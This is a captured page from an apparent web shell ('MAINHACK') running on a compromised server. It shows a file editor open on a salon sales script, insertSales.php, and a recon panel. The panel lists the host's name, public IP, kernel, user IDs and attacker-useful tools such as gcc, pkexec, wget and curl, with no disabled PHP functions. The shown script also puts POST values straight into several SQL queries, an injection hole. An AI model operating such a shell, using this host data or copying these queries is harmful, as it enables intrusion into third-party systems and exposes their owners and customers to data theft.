[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: insertSales.php
<?php include("../admin/includes/functions/functions.php");?> <?php include("../admin/db/db.php");?> <?php $timezome = 'Africa/Accra'; date_default_timezone_set($timezome); $shopname = $_SESSION['business_name_Xw211qAAsq4']; if(!csrf_token_is_valid() || !csrf_token_is_recent()) { echo json_encode(['status' => 'error', 'message' => 'Sorry, Token Authentication invalid']); exit; } else { $client_id = test_input($_POST['client_id']); $employee_id = test_input($_POST['employee_id']); $active12 = test_input($_POST['active12']); $payment = test_input($_POST['payment']); $discount_id = test_input($_POST['discount_id']); $comm_id = test_input($_POST['comm_id']); $created = test_input($_POST['created']); $service_id = $_POST['service_id']; $service_price1 = $_POST['service_price1']; if(empty($discount_id )){ $newDis = 0.00; } else { $newDis = $discount_id; } if(empty($comm_id )){ $comRate = 0.0; } else { $comRate = $comm_id; } if(empty($employee_id)){ echo json_encode(['status' => 'error', 'message' => 'Select Employee']); exit; }elseif(empty($client_id)){ echo json_encode(['status' => 'error', 'message' => 'Select Customer']); exit; }elseif(empty($service_id)){ echo json_encode(['status' => 'error', 'message' => 'Select at least one service']); exit; }elseif(empty($active12)){ echo json_encode(['status' => 'error', 'message' => 'Select work status']); exit; }elseif(empty($payment)){ echo json_encode(['status' => 'error', 'message' => 'Select payment type']); exit; }elseif(empty($created)){ echo json_encode(['status' => 'error', 'message' => 'Service sales date required']); exit; } else { $date_created = date('Y-m-d h:i:sa'); //$created = date("Y-m-d"); $start_time = date('Y-m-d h:i:sa'); $end_time_expected = date('Y-m-d h:i:sa'); $canceled = '0'; $cancellation_reason = ''; $status = 'offline'; // $stmtgetCurrentAppointmentID = $con->prepare("SELECT AUTO_INCREMENT FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'excellencyhealth_theblockgrooming' AND TABLE_NAME = 'appointments'"); // $stmtgetCurrentAppointmentID->execute(); // $appointment_id = $stmtgetCurrentAppointmentID->fetch(); $payment_mode = 'None'; $stmt = $con->prepare("insert into appointments(date_created,created,client_id,employee_id,start_time,end_time_expected,canceled,cancellation_reason,active,status,payment_mode,business_name,discount,comRate) values(?,?,?,?,?,?,?,?,?,?,?,?,?,?)"); $stmt->execute(array($date_created,$created,$client_id,$employee_id,$start_time,$end_time_expected,$canceled,$cancellation_reason,$active12,$status,$payment,$shopname, $newDis,$comRate)); $last_inserted_id = $con->lastInsertId(); for ($i=0; $i < count($service_id) ; $i++) { $item = $service_id[$i]; $xy = "INSERT INTO services_booked (appointment_id, service_id) VALUES ('$last_inserted_id','$item')"; $x = mysqli_query($new,$xy); $select_service_sum = mysqli_query($new,"SELECT * FROM services WHERE service_id = '$item'"); $fetch_sum = mysqli_fetch_array($select_service_sum); $sum_total+= $fetch_sum['service_price']; $update = mysqli_query($new,"UPDATE appointments SET total_amount = '$sum_total' WHERE appointment_id = '$last_inserted_id'"); $update2 = mysqli_query($new,"UPDATE services SET s_status = '0' WHERE service_id = '$item'"); } $app_id = $last_inserted_id; for ($i=0; $i < count($service_price1) ; $i++) { $sprice = $service_price1[$i]; $item1 = $service_id[$i]; $xyz = "INSERT INTO true_price (appointment_id,service_id,price) VALUES ('$app_id','$item1','$sprice')"; $x = mysqli_query($new,$xyz); } echo json_encode(['status' => 'success', 'message' => 'Service sales added ']); exit; } } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002